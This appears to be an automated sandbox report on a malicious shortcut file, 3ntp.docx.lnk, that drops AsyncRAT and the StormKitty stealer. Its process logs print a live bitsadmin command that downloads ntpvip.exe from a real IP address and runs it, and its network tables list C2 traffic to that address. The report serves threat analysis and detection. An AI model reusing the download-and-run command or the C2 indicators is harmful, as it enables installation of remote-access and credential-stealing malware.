Malware Analysis Report

2025-01-03 06:31

Sample ID 230926-ktap9shc46
Target 3ntp.docx.lnk
SHA256 f54692a2ffa5029e44823a4f6b67151477b18cba62d3ea2137452f0b113948c9
Tags
asyncrat default rat stormkitty stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f54692a2ffa5029e44823a4f6b67151477b18cba62d3ea2137452f0b113948c9

Threat Level: Known bad

The file 3ntp.docx.lnk was found to be: Known bad.

Malicious Activity Summary

asyncrat default rat stormkitty stealer

AsyncRat

StormKitty payload

StormKitty

Async RAT payload

Downloads MZ/PE file

Checks computer location settings

Enumerates physical storage devices

Download via BitsAdmin

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Uses Task Scheduler COM API

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-09-26 08:53

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-09-26 08:53

Reported

2023-09-26 08:55

Platform

win7-20230831-en

Max time kernel

141s

Max time network

147s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\3ntp.docx.lnk

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Downloads MZ/PE file

Enumerates physical storage devices

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\system32\bitsadmin.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\3ntp.docx.lnk

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C bitsadmin /transfer Update /download /priority FOREGROUND http://103.38.236.46/ntpvip.exe C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' & start C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'

C:\Windows\system32\bitsadmin.exe

bitsadmin /transfer Update /download /priority FOREGROUND http://103.38.236.46/ntpvip.exe C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'

C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'

C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'

Network

Country Destination Domain Proto
VN 103.38.236.46:80 103.38.236.46 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp

Files

memory/2636-36-0x0000000000CC0000-0x0000000000CE8000-memory.dmp

memory/2636-37-0x000007FEF5CE0000-0x000007FEF66CC000-memory.dmp

memory/2636-39-0x000000001B330000-0x000000001B3B0000-memory.dmp

memory/2636-40-0x0000000077680000-0x0000000077829000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab5C93.tmp

MD5 f3441b8572aae8801c04f3060b550443
SHA1 4ef0a35436125d6821831ef36c28ffaf196cda15
SHA256 6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf
SHA512 5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

memory/2636-57-0x000007FEF5CE0000-0x000007FEF66CC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Tar7313.tmp

MD5 9441737383d21192400eca82fda910ec
SHA1 725e0d606a4fc9ba44aa8ffde65bed15e65367e4
SHA256 bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5
SHA512 7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

memory/2636-76-0x000000001B330000-0x000000001B3B0000-memory.dmp

memory/2636-77-0x0000000077680000-0x0000000077829000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-09-26 08:53

Reported

2023-09-26 08:55

Platform

win10v2004-20230915-en

Max time kernel

143s

Max time network

148s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\3ntp.docx.lnk

Signatures

AsyncRat

rat asyncrat

StormKitty

stealer stormkitty

StormKitty payload

Description Indicator Process Target
N/A N/A N/A N/A

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\system32\bitsadmin.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 936 wrote to memory of 4728 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe
PID 936 wrote to memory of 4728 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe
PID 4728 wrote to memory of 4316 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bitsadmin.exe
PID 4728 wrote to memory of 4316 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bitsadmin.exe
PID 4728 wrote to memory of 1548 N/A C:\Windows\System32\cmd.exe C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'
PID 4728 wrote to memory of 1548 N/A C:\Windows\System32\cmd.exe C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\3ntp.docx.lnk

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C bitsadmin /transfer Update /download /priority FOREGROUND http://103.38.236.46/ntpvip.exe C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' & start C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'

C:\Windows\system32\bitsadmin.exe

bitsadmin /transfer Update /download /priority FOREGROUND http://103.38.236.46/ntpvip.exe C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'

C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'

C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'

Network

Country Destination Domain Proto
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 158.240.127.40.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
VN 103.38.236.46:80 103.38.236.46 tcp
US 8.8.8.8:53 46.236.38.103.in-addr.arpa udp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
VN 103.38.236.46:4449 tcp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 209.143.182.52.in-addr.arpa udp

Files

memory/1548-0-0x0000000000870000-0x0000000000898000-memory.dmp

memory/1548-2-0x00007FFF34180000-0x00007FFF34C41000-memory.dmp

memory/1548-3-0x000000001B4C0000-0x000000001B4D0000-memory.dmp

memory/1548-4-0x00007FFF539B0000-0x00007FFF53BA5000-memory.dmp

memory/1548-8-0x000000001B4C0000-0x000000001B4D0000-memory.dmp

memory/1548-9-0x000000001B4C0000-0x000000001B4D0000-memory.dmp

memory/1548-10-0x00007FFF34180000-0x00007FFF34C41000-memory.dmp

memory/1548-11-0x000000001B4C0000-0x000000001B4D0000-memory.dmp

memory/1548-12-0x000000001C780000-0x000000001C7F6000-memory.dmp

memory/1548-13-0x000000001B4F0000-0x000000001B4FE000-memory.dmp

memory/1548-14-0x000000001C720000-0x000000001C73E000-memory.dmp

memory/1548-15-0x00007FFF539B0000-0x00007FFF53BA5000-memory.dmp

memory/1548-17-0x000000001C740000-0x000000001C74E000-memory.dmp

memory/1548-18-0x000000001D100000-0x000000001D166000-memory.dmp

memory/1548-21-0x000000001C750000-0x000000001C75A000-memory.dmp

memory/1548-24-0x000000001B4C0000-0x000000001B4D0000-memory.dmp

memory/1548-25-0x000000001B4C0000-0x000000001B4D0000-memory.dmp

memory/1548-26-0x000000001D460000-0x000000001D582000-memory.dmp

memory/1548-65-0x000000001D050000-0x000000001D072000-memory.dmp